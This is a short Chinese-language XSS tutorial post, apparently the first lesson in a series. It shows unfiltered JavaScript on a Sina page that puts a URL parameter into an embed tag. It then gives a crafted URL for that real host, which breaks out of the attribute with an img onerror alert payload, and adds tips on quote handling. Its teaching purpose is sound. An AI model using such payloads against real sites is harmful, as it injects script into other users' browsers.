第一课 http://www.2cto.com/Article/201301/186359.html
新浪的XSS自然比腾讯更多,这里只讨论IE浏览器下的情况,其它浏览器可能需要做一些变形。
纯粹的完全无过滤确实不太好找,这个其实是输出在HTML属性里,严格来说应该算是第三课的扩展,不过算了,勉强算是没有任何过滤吧。第三课的时候我找个输出在<input value= 的例子。
漏洞 地址:
漏洞成因:
var str=window.location.href;
var es=/url=/;
es.exec(str);
var right=RegExp.rightContext;
……
<embed id=sp pluginspage='http://www.macromedia.com/go/getflashplayer' src='http://you.video.sina.com.cn/api/sinawebApi/outplayrefer.php/vid="+right+"/s.swf' type=……
URL取得的内容未做任何过滤,直接带入到embed标签内。很典型的XSS。
构造地址:
http://bt.house.sina.com.cn/zdy/page/lc600_sp.html?url=11">'><img src=1 onerror=alert(1);><textarea>
附加说明:
1 为啥要用">'>:实际测试中,如果我用单引号,引用地址会变成双引号;如果我用双引号,它就用单引号引用。我怒了, 干脆都加上,总有一款适合你。
2 最近比较喜欢使用<textarea>屏蔽后面的东西。
3 如果有时间,我可能会专门做一期XSS代码对于各个 浏览器 兼容的处理。
修复方案:
嗯..问瘦子。